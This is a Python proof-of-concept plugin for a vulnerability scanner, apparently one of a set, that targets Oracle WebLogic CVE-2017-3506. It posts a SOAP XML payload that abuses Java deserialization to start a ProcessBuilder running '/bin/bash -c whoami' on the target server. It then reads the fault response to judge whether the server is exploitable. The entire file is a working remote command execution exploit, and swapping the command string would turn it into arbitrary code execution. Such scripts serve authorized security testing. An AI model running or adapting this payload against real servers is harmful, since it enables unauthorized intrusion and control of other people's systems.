#!/usr/bin/env python
# -*- coding: utf-8 -*-


import requests
import re

description = 'Weblogic (CVE-2017-3506)'
"""
    Weblogic (CVE-2017-3506):
        OracleWebLogic Server 10.3.6.0.0
        OracleWebLogic Server 12.1.3.0.0
        OracleWebLogic Server 12.2.1.0.0
        OracleWebLogic Server 12.2.1.1.0
        OracleWebLogic Server 12.2.1.2.0
"""


def get_plugin_info():
    """
    插件描述信息
    :return: plugin_info
    """
    plugin_info = {
        "name": "weblogic-cve-2017-3506.py",
        "author": "starnight_cyber",
        "cve_no": "CVE-2017-3506",
        "description": description,
    }
    return plugin_info


headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
    "Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3",
    "Content-Type": "text/xml"
}

poc_str = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>whoami</string>
            </void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''


def poc(target):
    """
    :param target:target ip:port
    :return:
    """
    try:
        # Step 1: Maybe need to construct target url first
        path = '/wls-wsat/CoordinatorPortType'
        url = 'http://{}/{}'.format(target, path)

        # Step 2: Test for exploitation
        response = requests.post(url, data=poc_str, verify=False, timeout=5, headers=headers)
        response = response.text
        response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)

        if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
            return True
        else:
            return False
    except Exception:
        # anything wrong, return False
        return False
